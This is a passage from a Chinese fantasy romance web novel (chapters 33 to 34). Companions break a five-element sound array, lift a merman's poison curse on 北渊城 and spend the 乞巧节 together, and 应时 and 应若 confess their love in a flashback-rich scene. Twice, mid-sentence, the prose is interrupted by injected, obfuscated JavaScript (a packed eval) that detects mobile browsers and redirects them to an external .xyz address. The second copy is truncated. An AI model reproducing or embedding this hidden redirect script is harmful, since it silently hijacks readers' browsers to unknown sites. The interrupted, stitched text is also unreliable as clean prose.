宫音对应着鼓,是土属性,枫崖用木系灵力将鼓乐之声抽离出来。商音对应着钟,是金属性,墨悦用火系灵力剥离编钟之声。角音对应着箫,是木属性,杜嘉毅负责用金系灵力将其克制。徵音对应着胡琴,是火属性,应时用水系法术将其隔绝。羽音对应着古琴,是水属性,花染用土系灵力将其掩埋。 霎时间,光芒交织耀眼,震颤不休。最终,风停雪霁,音随行止。阵破,屋门大开,天光大亮。 “大概,布阵之人想不到,我们六个人,刚好可以对应上五行属性。”花染随手擦拭了下额角的汗水。 “若是只有一人前来,或是我们无法对应上五行之力,这阵可就难了。”墨悦抬手半揽着花染,让她可以轻松些。 “鲛人善音,果然不假。”杜嘉毅平复着呼吸。 余修与施晓互相搀扶着自屋中走出,咳出口血来,眼神迷惘,口中痴痴念着:“我儿!” 沧海难为,顷刻天光。 33. 缘聚此间 “他们好像也在幻境之中,应当是看见了他们的孩子,不愿离开。” 二人艰难地一步步走向后院关着鲛人沧漓的屋子。 余修坐在汤池边,慈爱地看着沧漓,施晓则是大步向前,自后方环住了沧漓的肩膀,头抵在他的背上,轻声说:“景儿的音律真是动听,母亲为你骄傲。” 一颗黑色的珍珠落入她的掌心,施晓见此笑得更灿烂,“景儿有出息了!”那鲛人只是一动不动地垂着头,侧对着门口。长发遮挡了他大半的面容,看不清神色。 “这样的结果,你满意了?”应时目光如电般紧盯沧漓,毫不留情地戳穿他的内心。 应时的水系鉴心之术下,幽蓝灵力将其潺潺环绕。“上善若水,心有所为。水生万物,鉴尔平生。” 沧漓转头看向门外,眼中波诡幽幽。 “人们崇敬未知,也恐惧未知,有求于未知。他们明知现今世上已没有神明,却还是为了心中所愿,选择供奉妖族。海妖善恶分明,却也睚眦必报,绝非予取予求之辈。 在南海时,不知他们用了什么方法,兴许是魔族异术,使我能够通过海神像听见他们的诉求。但我不过是个普通的妖,修为平平,信仰之力只是使我稍稍强大。 可我并不是真正的神,世事无常,我都力不能及。当他们毁掉神像,毁掉信仰,信仰之力演变成怨恨之毒反馈加诸我身,我便如坠入深渊般痛苦,贪嗔痴念亦使我成为了魔。” “这样说来,他一路追寻余修和施晓,不是为重聚,而是为了报复。”花染低语道。 “可是,为何又要以身试法,不反抗那些折磨,被囚困于此呢?”墨悦看向他毫无生气的面容。 “为自己赎罪。”杜嘉毅瞥见他身上不曾愈合的伤痕,“成魔并非源自他的本意,他自知犯下的罪,不可饶恕。” “是赎罪,也是最后的机会。”应若淡淡道来,“原本正常的供奉只会传递正向的信仰力量,即便不再相信,也只是少了一份信仰,绝不会将恶意传递。 这供奉的恶念牵系又是魔族的手笔了。他是被供奉的妖,可以听见供奉过他之人的心声。 如果余修和施晓能不畏强权,哪怕只是在官兵来时阻拦一下,或是去官府为他说情,他也不会彻底无法回头。可是人心易变,久怨成毒。他,也在憎恶如今自己吧。” “可怜也可恨。本质上,我和他是一样的,挣扎过,幸而还有机会清醒地活着。”枫崖仿佛透过沧澜,看见了昔日的自己。 “谁人都不是完美无缺的,七情六欲,难免有些遗憾,想求得圆满。魔族正是利用了这一点,放大人们心中的恶念为其所用。”应时走近沧漓身侧,“水系灵脉被毁,有你的一份力。你下的毒,又如何解?” “我落泪而成的珍珠,都是黑色的,那些彩色不过是我鲛人一族的障眼法。珍珠是毒,也是解药。城中之人,但凡触碰过珍珠,便会中毒。将珍珠研磨成粉,配以寻常治风热的方子喝下,便可解毒了。” 沧漓又在花染不解的目光中说道:“你心思澄澈,心中无贪怨,自然只是一场普通的病而已。” “城中那些传言—极光下以手捧珠,心诚则愿达。都是你蛊惑散布的?”墨悦盘膝问道。 “是啊,人们总是很愿意相信虚无缥缈的东西。” “余修和施晓呢?”应若见她二人还没有恢复神智,不由问道。 “他们早就毒入肺腑了,也许是杀了海横的时候,就被魔族下了毒吧。但这毒我无法解,只能每日给他们用珍珠粉缓解,他们才能正常生活。” “你想救他们?”杜嘉毅肃然问道。 “救他们,也是自救。因着那供奉,我们所中之毒是相通的。” 应时与应若对视后,点了点头,将灵气灌注于乾元剑中,再将其悬于余修和施晓身前,将二人体内魔气全部牵引至自己体内,归根结底,他们也是为魔所害至此。乾元剑只能剥离魔气,并不能彻底消除魔气,所以应时唯有吸纳魔气一途。 “以水为引,苦海自渡。醒来。”应时又以引渡之法为二人注入生机。 片刻后,二人终于清醒过来,而沧漓的眼神也好似焕发出一丝光彩,没有了魔气,做回自己的感觉,真是久违了。 余修与施晓不胜感激,艰难地讲述着:“毒的来源,自冰层冻土之下。那魔族说这种毒无药可解,我们便是用这毒杀害了海横,却也因此染上了这毒。 如今,最后的时日,就让我们清醒地赎罪吧。” 北渊城中,疾病在一夜之间痊愈了。珍珠的毒,终是解除了。温度恢复正常,冰川不再融化。水系灵脉,也因这座城的复苏而恢复了些生机。 “原来是我。”沧漓长叹,“水系灵脉,原本应由我守护。既是我亲手毁坏,自当由我来承担。” 沧漓双手结印,闭目轻声吟唱。长发迎风而动,周身被镀上了一层金蓝色的光。守护者的传承在识海中愈发清晰,水波浩淼皆在心中。 “刚柔并济,万水汇成。” “你听见了吗?你的族人,一直没有放弃。他们,一直在寻你。”应时见水系灵脉已成,涓涓流淌,润泽苍生。 “我已经告诉他们,我自安好,不必再寻。”沧漓的神情带了些怀念,“我原本可以同水中生灵交谈,可是被仇恨和怨毒蒙蔽了视听,再也听不见来自远方的呼唤。如今,这样清明的海中灵音,我自当守护好。” 应时将两枚鳞片还与沧漓,“物归原主。那龙鱼,是你救下的吧。”看着沧漓讶异的神情,应时继续道:“我也是水系灵力,也能与水系生灵沟通。它刚刚生出灵识,它说很感激,以后都要跟着你,你可要好好教导它。 有灵脉的庇护,你们的毒不会发作,不必太过担忧,等我们找到魔族的罪魁祸首,一切都会回到正轨。” “自然。”沧漓手中握紧帕中鳞片,目送应时的背影远去。 “还有,黑色的珍珠值得珍惜,我已将那枚褪去金色恢复本色的珍珠送回长安,做我父亲的贺礼了。”应时的声音远远飘来,却无比清晰。 六人并未马上离开北渊城,因为乞巧节就要到了,他们不希望在路上匆忙地度过这个节日。当然,主要原因是经过一场疾病,百姓的身体或多或少都还需要时间恢复,他们力所能及地帮助照看、抓药、送药。 还有一个原因是,北渊城水系灵力日渐强盛,有益于应时此次吸纳了更多魔气之后平心静气。 自那晚魔气版应时第一次出现后,后来的时日,他又在夜里出现过一次。只不过,只有应时自己知道,应若并不知晓。魔气版的应时出现的时候已是深夜,他没有惊动任何人,只是睁开眼,透过窗,静静凝望夜色中的世间,也望着自己。眼中有星辰,有万物,却又好像什么都没有。 人剑相通,更有北渊的水系灵力,让应时的内心也如灵力一样日渐充盈,应若的妖力也在水系灵力的滋养下日益恢复,二人借此天时地利之际好好地修炼了一番。墨蓝与墨绿色交相辉映,比之极光,也不遑多让。 七月初七,乞巧节。他们终于有机会放松一下,慢下脚步。 一大早,花染便拉着应若去买了好多彩色的丝线和银针,回来后和应若在亭中坐下,神神秘秘地关起院门。 “现在,考验我们天赋的时候到了!听人说这叫投针验巧。”花染兴致勃勃地端来一碗从城中女孩子手中借来的,已经形成薄膜的水,“这水已形成薄膜,针放上去不会下沉。来试试,看看能不能把银针在水底投影成不同的形状!” 花染率先放了一根,碗底的影子大致呈一条直线。她微微嘟嘴,“啊!看来我天赋一般,应若姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601360|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你来!” 应若对着光线看了看,隐约察觉到应是与光线角度有关,放下一根,形成一个三角形。“应若姐,还是你厉害!” “你再试一个,说不定就行了。” 花染小心地拿起一根针,又换了一个角度,这次放下后,正好也触碰到了上次放下的那根针,转动之间,两根针的影子在碗底发生了奇妙的变化,逐渐定型。 “看起来像一朵花!”花染惊奇又惊喜。 “天赋与实力兼具!”应若笑道,“你是又有了什么巧思,这丝线要绣点什么?” “香囊。”花染深呼吸了一下,眼神坚定。 “应若姐,一起吧?”花染朝着应若俏皮地眨了眨眼,意有所指。 “好。”心照不宣。 清晨的光,映照着她们认真的神情,眉眼之间充满期许。 “应若姐,我还买到了凤仙花,可以染指甲,我们试试!”橙红的花汁浸染指甲,欢笑之间,阳光一般的橙红便凝固了,纤指轻舞,美甲如画,带着沁心的花香。 花染忽然有些惆怅,兴致缺缺,“姐姐,我是不是变冷血了,遇到一些人和事,总是持怀疑、不信任的态度。” “是那些事情本就值得怀疑,而你的明辨是非能力在愈发增强。”应若趁机揉了揉花染柔软的脸颊,“怎么多愁善感起来了呢。你看,你就不会随便去疑心墨悦,还有我们几个,对吧?” “嗯!”这还得到表扬啦,花染立刻多云转晴,笑靥如花。时光静好,温柔如初。 北渊城的乞巧节,别有风采。 五彩灯火与远处的雪山相映成趣,人潮的涌动驱散了远方的寒冷,心中也如夜空一般被照亮、被温暖。放飞的花灯和顺水漂流的河灯,带着祈愿远去,并不过多伤感。 楼台之上,一对男女演绎着牛郎织女的故事,她们遥遥分离,再相聚,台下已有许多人泪湿衣衫,为这感情的不易与可贵。 六人原本说着共度佳节,一起走着,渐渐看着看着,便自发地分了开来。应若与应时并肩向前,花染和墨悦在某个路口拐了个弯,杜嘉毅和枫崖则是一同地走进了一家酒楼,把酒言欢,也是开怀。 街上,花染与墨悦正围着看舞狮和舞龙表演,时不时地拍手赞叹。“看起来好厉害,我们一起学吧!”腾跃之间,神采飞扬。 应时和应若一路把新奇的糖人、方糕、沙冰尝了个遍。正坐在一家小铺子中,品尝特色美食—油茶面,滚烫的开水冲入碗中,浓郁的香甜气息扑面而来,沉睡的味蕾仿佛瞬间被唤醒。应时不知又瞧见了什么,留下一句“等我一下”,便跑开了。 一碗油茶面见底,应若只觉温暖又满足,只听一声,“阿若。” 回首,是应时。墨蓝色刻着龙形的面具,遮住了上半张脸,露出的眼眸温暖如春。他缓步朝她走来,一手背在身后。 应时走近,将藏在身后手中的另一个刻着墨绿色树叶样子的面具为她戴上,咫尺之间,一个略低眸,一个微仰着。 “这是龙神和树妖的面具,是我们的。” “嗯。”应若恍惚中回应着,好像烟尘散尽,看见的是过往无数次笑着的相迎,是远方归来的人,也是眼前念念不忘的人。 千树银花,万家灯火。光影里,往昔今朝,她和他,始终在一起。 看过烟火繁华,应若与应时携手行至一处石桥上。安静的星空下,一片绿叶无意间被风吹落,轻轻落在应若的发顶,应时轻轻抬手,将那片叶摘下,任它回归大地。 不觉间,彼此之间的距离也离的近了。对视之间,情意绵长。 在北渊城的这些时日,应若愈发地感到,应时好像眼中多了些什么。或许是无法遗忘的过往,和无法预知的未来,还有每一个握紧的现在。 缘聚此间,不离不散。 34. 兰因絮果 应若和应时并肩坐在桥边,摘下面具在手中端详,即使没有言语,也心意相通。 应时侧首,目光深邃地描摹着应若的眉眼,自然地牵起应若的手。 “一转眼,恢复灵脉已成了大半,我却愈发的希望时间能过得慢一些。这样,我与你的时间就能长一些,再长一些。” 应若感受着手上的温暖,从天边的星河中缓缓收回目光,偏头凝眸望向应时。 “我知道,你曾经犹豫过纠结过什么,因为我也一样。过往和现在并不矛盾,我是我,也不只是我。因着过去的每一个瞬间,我才成了今日的我。” 应若的确曾经想过,如果她的喜欢没有应时那么纯粹,虽然不是执着于过往,但回忆过往是不是对现在的他不公平。可无论怎样,她的确从始至终,心里惦念的人都是他。 活了这么久了,很多人很多事,自然想得明白。应若轻轻的笑了。 “喜欢从来都是真挚的,只要彼此愿意、欢喜、自在,就好。有句话叫—若无相欠,怎会相见。这次,我倒是希望你亏欠我一些,这样的话,我们来生还能再见。” “你是什么时候,都记起的?”应若目光流转,看进他眼底,那里,至终都住着一个她。 “其实,我经常在梦里见到你。我们签订契约的那天,我没有骗你。真正完整的记起,是在刚刚看见面具的时候。” “我也一样。”应若想,这面具和当年分别时,确有相似之处。也许是分别太过匆忙和遗憾,所以格外深刻,在记忆深处成为不可磨灭的光点。 “如今,我终于是完完全全的我了。”应时牵起应若的手,二人相对而立。“如此,才不算辜负。” 应时说着,又从袖中取出一枚白玉簪,上面雕刻了隐约的龙纹和树叶。 “这簪子,我早就做好了,现在才送你,只愿你不嫌晚。” “不晚,只要是你,就刚刚好。” 应时倾身,将簪子仔细别在应若发间,深深凝望,好似穿过了万年的时光,终于如愿以偿。心中万语千言,只化成两个字— “好看。” 应若见应时的手都在轻微地颤抖着,在他放下时伸手握住,将一枚玉佩放入他掌心,“我也有。” 那是一块蓝色玉佩,正面刻着一个龙形和一个树形,背面也刻了字。 “四时若和光,春与千树长。” 这是他们共同的心愿。愿情深久长,世间安然无恙,万物生长不负好时光。 “心意已明,与你一起。” 应若笑意盈盈地望着他,那些过往的伤,总敌不过希望,正道纵有沧桑,与你同往,无惧时光。 万年光阴里,即使偶尔也有过抱怨,但她一直很擅长等待,因为她相信,约定总有一天会兑现,没说完的话总会再听见回答,她总会等到他回来的那天。如今,刚刚好。 应时眼中满是情深,“你从前,不是说不会雕刻吗?” “触类旁通。我法术都学的那么好呢!”应若眸光一闪,那是上一次他们同萧寻一起回昆仑的时候,她看着院中屋中都是应时雕的玉石摆件,便打开了应时从前当作秘密一般的雕刻间。 那时,应时说这里都是些还没雕好的半成品,等雕好了,自然都会送给她。可是那里,明明都是雕刻完好的,都是龙与树,他与她。千万种姿态,定格此间,仿佛那些共度的时光,就在眼前。 所以后来,应若确定了自己的心意后,便也偶尔找些玉石,学着雕刻。还好,在这途上,她也有些天分。 应时便也笑了,将玉佩系在腰间,一枚碧色,一枚蓝色,辉映成双。 二人眼中有如冰雪消融,春花盛开一般,情定于此。应时珍而重之地双手轻轻环抱应若的肩,一个吻落在她额上眉间。 千万年后,他们才真正明了自己的心意,在更早的从前,他们已然相爱。比知己、兄妹更深刻的关系,是爱人。 无风无雨,相视之间,眼底俱是泛起波澜。光影之间,往事浮现。万年心事,一一穿连。 龙神最初是一颗蛋的时候,就只是一颗蛋,一颗有灵识的蛋。 只是需要修炼,便会与外界隔绝。他的灵识扫过初开的天地,锁定了修炼的地点,规划了路线,便义无反顾地翻滚跳跃着,直奔目的地。 尘土飞扬中,一颗圆滚滚的扎眼白色轱辘轱辘滚远了。它一路绕过巨石,滑过斜坡,一不留神,栽进了一个坑,被褐色的砂石浅浅溅了一身、一蛋壳。 白色的蛋左右抖动,扬下尘土,再嘿咻嘿咻地给自己鼓劲,奋力成功爬了上来,又累又困,打了个哈欠,就一动不动睡了。 醒来时的周围漆黑一片,它试图跳动,没成功。聪明的它用力飞速旋转,转出了残影,身上厚重的尘土被带得飞起,白色终于露了出来。 又是一路颠簸翻滚,入坑、出坑,坚持不懈的龙蛋惊喜地前后摇摆着,它的目的地就在眼前。 那是一株雪白的树,虽然还不大,还没长出树叶,但莹白枝干,看着就与同样雪白的龙蛋一样神圣纯粹。 没生出灵识也不要紧,他总能等到的。到时候,他们一定会成为好朋友。于是,龙蛋开开心心地自己在树根后方挖了一个小浅坑,满怀着期许,把自己窝进去,开始修炼了。 那时的时间无人计算,终于,这株雪白的树也生出了灵识。她知道自己是不死树,她看着周遭的一切,也看见了那一枚雪白的蛋。 “蛋!小幼崽!”她莫名兴奋起来,费劲地伸长了枝条,尖端试探地轻轻戳了戳,白色的蛋纹丝不动。但是,有心跳声一下一下,鲜活生动地回应。 这是一颗什么小动物的蛋呢?以后,会有一只小鸡、小鸭子、还是小天鹅从里面敲碎蛋壳爬出来吗?毛茸茸、软乎乎地小可爱,一定很好摸吧?嘻嘻,她一定会保护好她,她们一定会相处得非常愉快的! 想到这里,她仿佛已经看到了那美妙的愿景,连枝桠都开始欢欣摇摆起来。不过,首先还是要修炼。 时光匆匆而过,平静在那一天被打破。冲天的魔气耗尽了她所有的力气,还未及化形,她便哀伤地合上了眼,只隐约看见一道蓝色。 也是在那一刻,龙蛋破壳了。他知道他的小树朋友因他受伤,她们,又要很久才能相见了。一滴泪和着龙血渗入她仅存的已被魔气浸染的根系,她活着,但陷入了沉睡。 墨蓝色的小龙每日都勤勤恳恳地在树根处浇水,期待着有一天,他的朋友会从这里长出来。再快一些,再早一天吧。 日子一天天过去,龙渐渐长大,修出了人形,而树也终于开始快速地生长。只是树的枝干不再洁白无瑕,而是漆黑浸染。 但他不在意。无论变成什么样子,是妖是魔,她永远都是他的朋友。龙依旧守着他的树,时而以龙形盘踞周围,时而以人形继续修炼,在历经了无数次雷霆后,终于修成神力,等待着她的归来。 当树根开始向上生长时,她便恢复了灵识,只是断断续续的,不甚清晰,她自己的思绪也时常混乱。 重伤之下,她忘记了最初的时光和自己的模样,但当她看见自己黑乎乎的枝干,还是有些嫌弃,总觉得自己不该是这样的。她,更喜欢白色的。 不过,有只龙,还能变成人,他常常在这里驻足停留。不知是因为什么,他就是很容易遭雷劈。应该,不是因为他常在树下吧? 说起来,那只龙看起来很威严,通身墨蓝色,鳞片坚不可摧,腾云驾雾时磅礴浩荡,折射着深邃庄重的幽光。 要是有一天能亲手摸一摸鳞片的感觉就好了,这样想着,她更坚定认真地修炼了。 一天,她清晰地感觉到好像有无尽的力量在涌动,在寻求突破。一阵摇晃过后,她便成功化成人形了。只是,还没来得及欣赏一下自己的模样,她便发现,不知何故,她的手上染着血,而那只青鸟已经没了气息。 她这才注意到,不止她的手中,她全身都环绕着黑色的气息。在她不知如何是好之时,他回来了。 只一眼,她便明白,她和他不一样,她的力量混沌阴暗,他的气息澄澈明亮。那样的光明的力量,让她心生向往,也心有不安,是不是靠近,就会被灼伤。 只是,既然也算是相伴许久,跟他一起走的话,即便生来不同,也是可以的吧?他叫我小树,应该是不讨厌我吧?我尽量装得乖巧,少说话,这样就可以了吧? 最开始的一些年,她都很少讲话,他给她讲修炼法术那些,她都是听着,然后点头或者摇头。 后来,他试图用各种食物来唤起她的好奇心,结果是,他成功了。一个苹果,打动了她。 在他的带领下,她在林中找到了两个红彤彤的果子,闻起来很清香。 “先别急,越是色彩艳丽的,越是可能有毒。”应龙拿过一个果子,直接咬了一口。 “应龙!” 迎着她惊讶而紧张的目光,他微微一笑,“没毒,酸甜可口。我已炼出乾元剑,邪祟不侵,不怕毒,最多就是一点伤痛。” 神明如同清风明月,无惧无畏。 之后的日子,她与他走过许多的路,见过许多的风景,见过许多生灵。她也在想,她是魔,可什么是魔,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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于是,他像很多年前那样,再次守着他的树,等她长大。只是魔气消散,她受到重创,等她再醒来,那些记忆也不在了吧。 天池畔,当她再一次生长出灵识,欣喜地看到了自己雪白的枝干。远望深蓝静谧的天池水中的倒影,那里映着连绵的雪峰,流淌的云朵,伫立的树丛,还有一个不变的人。 大概是个喜爱天池水的妖,随他吧。哦不对,他好像是个神,有妖叫他龙神。 但他叫我小树诶。她有些稀奇,但也只是好奇了一小下。她觉着自己既是不死树妖,便应当在漫长岁月中做一个不悲不喜,淡泊从容的妖,于是又静心修炼去了。 下一个春天来临的时候,她化形了。阳光正好,浅碧色衣衫迎风飘舞。 “小树!”是那个龙神的声音,她回眸,他于她本相树形的另一侧与她遥遥相对,踏过积雪而来。 她有些疑惑,她刚刚是不是看错了,他眼中有什么一闪而逝。 “我是应龙。” “我是不死树。” “我们做朋友吧。”应龙终于说出了他深藏已久的心愿。 “什么是朋友?”她回忆着,似乎听见过一个小桃木妖对一只小白猿这样说过,“有福同享,有难同当吗?” “虽然你很好,但做朋友很麻烦吧,我还是想自己待着。”应若靠坐在树下,困倦地打了个哈欠,又闭眼入睡了。 应龙时常来找她,而她不是修炼就是在发呆或睡觉。应龙有时和她说一些趣事,有时也同她坐在一起,有时也会自觉地贡献出自己的肩膀,以供她睡着后依靠。 在妖族日益繁盛后,她选择了与应龙一起去更大的天地看看,她走下了昆仑山,走出了天池畔。 那一天,当她笑着朝着他走去的时候,她忽然明悟了,她是谁,想要成为什么样子。 应龙给他们取了新名字,应时、应若。她们去到黄河边,逆着光,女娲的面容神圣而悲悯。 “我身为女神,感天地劫难而生,自有使命。如今妖族虽已日渐繁荣,个体力量强大,寿数绵长,但大多隐居深山之中。有限的数量只能保一方的水土,余下的那些便会渐趋荒芜。 况且,魔气沉于地底,终会卷土重来。若他寄身于强大的妖,那便会是灾难,生灵涂炭。 为保生命的延续,我创造出人类,他们生命短暂,但情感丰富,终将生生不息。” 二人见到了附近的村落,那里的人们,日出而作,日落而息,看起来质朴而充实。 应若看着应时似有所悟的神情,她很想问,“你也是神,你也有使命吗?神完成了使命,又会去哪里?” 但是终究,她没有问出口,因为她想,现下一切安好,结果也许并非全然无法更改。 兰因絮果,情深意长。